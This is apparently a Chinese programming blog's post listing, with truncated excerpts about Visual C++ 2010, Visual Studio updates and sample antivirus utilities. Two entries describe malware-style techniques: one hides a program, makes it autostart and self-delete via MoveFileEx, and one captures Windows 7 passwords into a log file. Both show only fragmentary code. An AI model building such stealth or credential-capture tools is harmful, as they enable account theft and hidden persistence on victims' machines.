[編程語言] Visual C++ 2010中實踐測試驅(qū)動開發(fā)一個高效的軟件開發(fā)過程對軟件開發(fā)人員來說是至關(guān)重要的,決定著開發(fā)是痛苦的掙扎,還是不斷進步的喜悅。國人對軟件藍領(lǐng)的不屑,對繁瑣冗長的傳統(tǒng)開發(fā)過程的不耐,使大多數(shù)開發(fā)人員無所適從,而測試驅(qū)動開發(fā)(Test-Driven Development)就是為了改善傳統(tǒng)的以實現(xiàn)為目標的軟件開發(fā)流程,利用測試來驅(qū)動軟件程序的設(shè)計和實現(xiàn),從測試的角度提出的一種全新的開發(fā)方式。測試驅(qū)動開發(fā)可以有效的避免過度設(shè)計帶來... yincheng01 2011-12-14 21:48 閱讀(135) 評論(0) [編程語言] 在Visual Studio11編譯器的安全性增強-下一代Visual C++2012的新特性(注 - 這個博客帖子描述了一個在未發(fā)布的產(chǎn)品的功能,此功能可能會改變最終產(chǎn)品發(fā)布之前。)微軟正在積極開發(fā)的Visual Studio11,不斷尋找方法,以提高安全相關(guān)的功能。作為這項工作的一部分,我們正在更新一些增強/ GS編譯器開關(guān),這是默認,使基層的代碼生成的安全功能,超越了現(xiàn)在熟悉的基于cookie的堆棧溢出保護。這些在以后的文章,我們將提供一些細節(jié)。安全開發(fā)生命周期(SDL)/ GS編譯... yincheng01 2011-12-14 12:26 閱讀(202) 評論(0) [編程語言] 借助 C++ 進行 Windows 開發(fā)---線程池取消和清理取消和清理是相當困難的問題,以解決說到多線程應(yīng)用程序。如果是,可以安全地關(guān)閉句柄?您是否需要考慮哪個線程取消的操作?更糟的是,一些多線程的 Api 不重入,潛在地提高性能,但還為開發(fā)人員增加的復雜性。我引入了最后一個月的專欄中的線程池環(huán)境 (msdn.microsoft.com/magazine/hh394144)。此環(huán)境允許的一項關(guān)鍵功能是清理組,而這是什么我將重點此處。清理組不要嘗試解... yincheng01 2011-11-03 14:08 閱讀(328) 評論(0) [編程語言] Windows8王者歸來,Windows8必勝,所有程序員都認真關(guān)注了。業(yè)界有評論稱Windows8來得太晚。但是,微軟此刻推出Windows8生逢其時。 9月14日,傳說中的Windows8在微軟Build Conference大會上亮相。Windows8將是蘋果在移動終端戰(zhàn)場的終結(jié)者。以下是幾點原因 Windows的品牌號召力目前,各種不同版本的Windows在全球數(shù)十億臺PC上運轉(zhuǎn)著,在品牌號召力上,任何競爭對手恐怕都望塵莫及。事實上,目前包括三... yincheng01 2011-10-21 12:35 閱讀(1036) 評論(8) [綜合] 使用 Visual Studio 和 TFS 進行 Agile C++ 開發(fā)和測試致力于在 Visual C++ 中構(gòu)建的應(yīng)用程序的開發(fā)人員和測試人員。作為一名開發(fā)人員,如果能夠提高工作效率,編寫較高質(zhì)量的代碼,并能夠根據(jù)需要重寫代碼以改善體系結(jié)構(gòu),而不必擔心妨礙任何內(nèi)容,豈不是很好?作為一名測試人員,是否希望花更少的時間來編寫和維護測試,以便有時間進行其他測... yincheng01 2011-07-11 07:17 閱讀(323) 評論(1) [編程語言] Visual Studio2010 SP1針對Visual C++2010 做出的更新以及調(diào)整Visual Studio2010 SP1針對Visual C++2010 做出的更新以及調(diào)整主要集中在下列方面。1.支持基于視頻加速的MFC圖像和動畫MFC類增加了對Visual Studio 2010的SP1的 鏈接到的類方法增加了對Visual Studio 2010的SP1的鏈接到該已被添加到MFC的全局函數(shù)的參考文檔。這包括已被添加到現(xiàn)有類的方法。2.新的AMD和Intel指令集支持,并計劃在未來支持ARM指令,W... yincheng01 2011-02-23 13:02 閱讀(1734) 評論(3) [編程語言] Visual Studio 2010 SP1即將發(fā)布,新功能概覽Visual Studio 2010中的Service Pack 1(SP1)的測試版提供的新功能和增強功能在以下幾個方面: 診斷 的更新基本的單元測試的支持。NET框架3.5 Visual C + + 更新Visual Basic更新Internet信息服務(wù)(IIS)特快 SQL Server精簡4.0設(shè)計時支持 Web部署 注意: 下面的MSDN庫主題包含的內(nèi)容是為SP1的Beta版本更新:針對Visual Studio 2010 SP1中新增的MFC,XOP內(nèi)部函數(shù)在Visual Studio 201... yincheng01 2011-02-23 12:48 閱讀(1184) 評論(1) [編程語言] 基于VC++2010利用API函數(shù)MoveFileEx實現(xiàn)程序的隱藏、自啟動與自刪除詳細代碼如下#include "stdafx.h" //#include "shell.h" void usage(char *); #pragma comment(linker,"/SUBSYSTEM:WINDOWS") int WINAPI WinMain( HINSTANCE hInstance, // handle to current instance HINSTANCE hPrevInstance, // hand... yincheng01 2010-12-17 17:56 閱讀(583) 評論(0) [編程語言] 基于VC++2010實現(xiàn)截獲Windows 7密碼Windows外殼,安裝Windows密碼截獲器void dey()//解密 { printf("/r/n請不要移動原密碼文件!"); system("pause"); char buffer[10000]; ZeroMemory(buffer,10000); char LogPath[255] = {0}; GetSystemDirectory( LogPath , MAX_PATH); lstrcat( LogPath, "http://pwd.txt"); HANDLE... yincheng01 2010-12-17 16:59 閱讀(768) 評論(2) [編程語言] 《Visual C++2010開發(fā)權(quán)威指南》版權(quán)輸出臺灣香港新加坡---大陸C++超越并引領(lǐng)臺灣CSDN著名技術(shù)專家著作-《Visual C++2010開發(fā)權(quán)威指南》版權(quán)輸出臺灣香港新加坡 大陸購買地址http://product./196957 臺灣購買地址http://www./ProdDetails.aspx?prodid=B000157497 微軟公司新一代的開發(fā)工具Visual C++ 2010在C++開發(fā)方面帶來了很多革命性的變化... yincheng01 2010-08-26 17:41 閱讀(859) 評論(5) [編程語言] 基于VisualC++2010開發(fā)Windows7應(yīng)用程序范例(1)-熱鍵應(yīng)用創(chuàng)建一個win32 黑窗口程序下圖可見VS2010中的項目圖... yincheng01 2010-08-04 14:34 閱讀(627) 評論(1) [編程語言] 基于VisualC++2010開發(fā)Windows7殺毒應(yīng)用程序范例(3)---檢測所有驅(qū)動程序,并啟動,暫停,終止驅(qū)動作為一個殺毒軟件,必須掃描所有的驅(qū)動,才能檢測到所有的驅(qū)動層病毒!微軟的.net framework4.0提供了關(guān)于驅(qū)動訪問的類,啟動VS2010,創(chuàng)建一個CLR工程如下 具體核心代碼如下,詳情見代碼注釋 #pragma once namespace yincheng { using namespace System; using namespace System::Compo... yincheng01 2010-07-01 01:23 閱讀(551) 評論(2) [編程語言] 基于VisualC++2010開發(fā)Windows7殺毒應(yīng)用程序范例(2)---檢測并遍歷所有進程的線程信息作為一個殺毒軟件,必須掃描所有的進程的每一個線程,才能分析出病毒的行為!下面我們演示下,基于Visual C++2010開發(fā)基于Windows7殺毒應(yīng)用程序范例,檢測所有的進程線程信息... yincheng01 2010-06-30 07:59 閱讀(400) 評論(1) [編程語言] 基于VisualC++2010開發(fā)Windows7殺毒應(yīng)用程序范例(1)---獲取windows7系統(tǒng)驅(qū)動程序狀態(tài)信息如何在Windows7系統(tǒng)里面列舉所有的驅(qū)動,并獲得他們的信息呢?微軟的.net framework4.0提供了關(guān)于驅(qū)動訪問的類,如下圖所示,創(chuàng)建一個CLR工程如下,插入下列代碼,詳情鍵代碼注釋#pragma once namespace yincheng { using namespace System; using namespace System::ComponentModel; using namespace System::Collections; using nam... yincheng01 2010-06-30 04:05 閱讀(423) 評論(4) [編程語言] 基于Visual C++2010 與office2010開發(fā)辦公自動化(27)-實現(xiàn)Office晚期自動化綁定Office Word 2010 Office Word 2010 增強了 Navigation Pane 特性,用戶可在 Navigation Pane 中快速切換至任何一章節(jié)的開頭(根據(jù)標題樣式判斷),同時也可在輸入框中進行即時搜索,包含關(guān)鍵詞的章節(jié)標題會高亮顯示。例如 Office Word 2010 也增加了在線實時協(xié)作功能,用戶可以從 Office Word Web App |
|